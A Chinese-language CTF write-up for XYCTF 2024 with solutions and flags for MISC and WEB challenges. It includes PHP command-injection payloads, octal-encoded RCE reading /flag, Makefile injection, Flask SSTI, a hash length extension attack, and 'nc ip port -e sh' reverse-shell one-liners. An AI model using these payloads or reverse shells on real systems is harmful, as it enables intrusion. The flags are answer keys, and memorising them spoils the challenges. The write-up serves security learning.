XYCTF 2024
MISC
game
adwa 最近迷恋上了一款游戏,他给我们发了这款游戏里的一个解密项目,请你根据这张图片,找出这个游戏的英文名,并用 XYCTF{}包括 (每个单词开头要大写,例如 XYCTF{Dead Cells})
搜索图片上面的特征图标即可找到
XYCTF{Papers,Please}
熊博士
熊大熊二在森林里玩耍的时候捡到了一张小纸条,可能事关森林的安危,但是上面的字他们看不懂,你能帮他们看看这些神秘的字符是什么意思吗?
atbash 解密
XYCTF{liu_ye_mei_you_xiao_jj}
zzl 的护理小课堂
1 | <script> |
找到源码,分数得大于 100 分才有 flag,访问/flag.php,并 POST:score=101 得到 flag
XYCTF{ZZL_TeIL_y0u_462ac0c38028}
ez_隐写
附件 zip 伪加密,改 09 为 00 后打开得到 hint.png 和真加密的 zip
hint.png 经过 puzzlesolve 修复后打开得到提示密码:XYCTF 开赛日期(20240401)
解压后得到 WATERMARK.jpg
盲水印解密后得到 flag
XYCTF{159-WSX-IJN-852}
真 > 签到
拿到 zip 不用解压,直接在十六进制数据中得到 flag
XYCTF{59bd0e77d13c_1406b23219e_f91cf3a_153e8ea4_77508ba}
出题有点烦
开头的加密是弱口令(123456)
拿到的五张图只有最后一张是有用的,binwalk 分离出一个压缩包,爆破出密码为(xyctf)得到 flag
没活硬整属于是
XYCTF{981e5_f3ca30_c841487_830f84_fb433e}
我的二维码为啥扫不出来
得到二维码和加密脚本
解读脚本可知是把这个 var2(25*25)的二维码随机抽取了某行或某列进行反色,这样的操作进行了七次
根据二维码定位用的特征符可以手工判断出反色了行 2,列 1,3,6 这里解决了四次,剩下的三次使用脚本爆破
1 | from PIL import Image |
得到大量的二维码,工具批量扫描得到 flag
flag{qR_c0d3_1s_s0_fun}
补:从第一 wp 学到知识
EZ_Base1024*2
Encode and Decode Base2048 Online Tool
WEB
warm up
1 |
|
payload1:
?val1=MMHUWUV&val2=MAUXXQC&md5=0e215962017&XY=0e1284838308&XYCTF=0e1284838308
1 |
|
payload2:
/LLeeevvveeelll222.php?a=/xxx/e&b=system('tac /flag');&c=xxx
POST:a[]=
ezhttp
开始是登录界面在源码注释处找到 hint
为了防止忘记密码,我把它们放在某个地方了
访问/robots.txt,被引路到/l0g1n.txt 得到账号密码
username: XYCTF
password: @JOILha!wuigqi123$
登录后按提示伪造 http 头
via:ymzx.qq.com
Client-IP:127.0.0.1
cookie:XYCTF
Referer:yuanshen.com
User-Agent:XYCTF
得到 flag
ezmd5
上传两张 md5 值相同的 jpg 图片得到 flag
牢牢记住,逝者为大
1 |
|
重点在最下面的eval,前面和后面都有内容来影响命令执行
前面用换行%0a来截断,后面用;+#来注释掉,
实际测试时发现要进行url编码否则绕不过,构造payload:
cmd=%0a`$_GET[1]`;%23&1=c’'p /[@-z][@-z][@-z]g . (把flag复制到当前目录来,然后访问直接下载flag)
cmd=%0a`$_GET[1]`;%23&1=nc ip port -e sh; (反弹shell)
ezMake
Makefile 学习笔记之 shell 命令调用及目录处理 - coffee_tea_or_me - 博客园
command:$(shell cat flag)
ez?Make
同上多了过滤,目录穿越
cd ..&&cd ..&&cd ..&&more [^e][^e][^e][^e]
[^e]表示除了 e 以外的其他的字符
反弹 shell 也可以
nc ip port -e sh
vps 开监听端口即可
nc -lvnp port
εZ?¿м@Kε¿?
参考第一名的 wp
Makefile 中的$@, $^, $< , $?, $%, $+, $*-CSDN 博客
在 Makefile 中,大家经常会见到类似$@、$^、$< 这种类型的变量。
这种变量一般称为自动变量,自动变量是局部变量,作用域范围在当前的规则内,它们分别代表不同的含义:
$@:目标
$^:所有目标依赖
$<:目标依赖列表中的第一个依赖
$?:所有目标依赖中被修改过的文件
这里第一个依赖是就是 /flag
利用 shell 变量替换符 $(<file)读文件
$$(<$<)
读出/flag
这里两个 $$ 才代表一个 $
ezRCE
1 |
|
构造八进制脚本
1 | def convert_to_octal(string): |
payload:
Ls -> $'\154\163'
测试中发现传空格就不行,并且白名单中还剩 < 没用上
在 linux 中 < <> 都可以表示空格
最终 payload:
$'\164\141\143'<'\057\146\154\141\147' = tac /flag
得到 flag
后续发现空格不是被过滤而是传上去被解析转义了,可通过这篇文章找到答案
我是一个复读机
本地包用 bp 的内嵌浏览器打开来抓包
打开是登录界面,给了用户名和字典直接爆破即可
username=admin&password=asdqwe
进去之后是 ssti
出题人wp:
进入之后可以看到输入什么可以在前端页面反应,输入中文会变成{},这里如果尝试写两个中文
加77,类似:¥,77,可以得到回显49
这里就比较明显是一个flask的ssti,鉴于如果出常规flask的ssti会被工具一把梭,类似fengjin。
所以搞一个中文防止被一把过。
1 | 你好()|attr(request.values.x1)|attr(request.values.x2)|attr(request.values.x3) |
give me flag
1 |
|
学习第一的wp
哈希长度拓展攻击
Unix 时间戳(Unix timestamp)转换工具 - 站长工具
将当前时间戳往后 100 秒
比如当前时间戳为1714025400 那就加100:1714025500
根据平台特性是动态flag 位数是固定的43位
然后用 hash_ext_attack.py构造一个payload
注意提交的$value
是 %80%00%00%00%00%00%00%00%00%00%00%00%00X%01%00%00%00%00%00%001714025500 去掉后缀的
时间戳 `%80%00%00%00%00%00%00%00%00%00%00%00%00X%01%00%00%00%00%00%00
使用脚本不断请求
1 | import requests |
官方脚本如下
1 | import hashlib |